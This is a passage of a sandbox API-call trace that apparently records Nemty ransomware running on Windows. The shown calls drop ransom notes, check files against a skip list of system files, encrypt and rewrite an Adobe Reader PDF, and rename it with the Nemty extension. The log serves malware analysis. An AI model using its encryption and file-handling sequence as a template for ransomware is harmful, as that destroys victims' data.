lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DAN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAN", lpUsedDefaultChar=0x0) returned 3 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.361] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.361] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.362] CloseHandle (hObject=0x254) returned 1 [0171.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.363] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.363] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.365] CloseHandle (hObject=0x254) returned 1 [0171.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.365] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19c743b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19c743b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.365] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.365] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19c743b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19c743b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.365] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.365] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.365] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106ec, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.365] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.365] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.365] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.366] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.367] Sleep (dwMilliseconds=0x5) [0171.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19cc0670, dwHighDateTime=0x1d561e8)) [0171.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19cc0670, dwHighDateTime=0x1d561e8)) [0171.379] GetLastError () returned 0xb7 [0171.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.379] GetLastError () returned 0xb7 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.380] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.380] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.380] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.380] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="6Tn+oqtAor1FEbrFlEza/hgdacLtuwXimiAPwBnVvAla1dXQiePGCLT/Vi6eRNU2\r\nfH2xLquJKWVR9O7UcXl6NiF+KFaE3JYo2T0S7dh5ySo3bIxuyF/Le4ic4EZ7x0Y8\r\noDdh/VPcY0EOYXmmVW9RbTorCY3D56A7DxFwvlNgTsMwjmeQs1m3ChQE6DyzogDa\r\nTpO5mhCthBp00eJIjxLbj6H7wZJ0F7lHd5PXOHnWwa1jvakrcdwJNUORuhhS9l48\r\nxR4Jn+FZiL7f5bW0334LJVYZWKRrRPuZkOmxeAM8VysfBOSgq0UqBsvq5Gu7lr1s\r\n2Op77LlsCB39eL17dzZuQQ==\r\n", pcchString=0x653e5dc) returned 1 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.380] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=67308) returned 1 [0171.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106e0) returned 0x6352c48 [0171.380] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.380] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x106e0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x106e0, lpOverlapped=0x0) returned 1 [0171.387] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.387] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x106e0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x106e0, lpOverlapped=0x0) returned 1 [0171.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.387] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=67308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x106ec [0171.387] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.387] CloseHandle (hObject=0x3b0) returned 1 [0171.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.387] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.389] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101ce, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.389] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.389] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.389] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.389] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.389] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.390] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.390] WideCharToMultiByte (in: 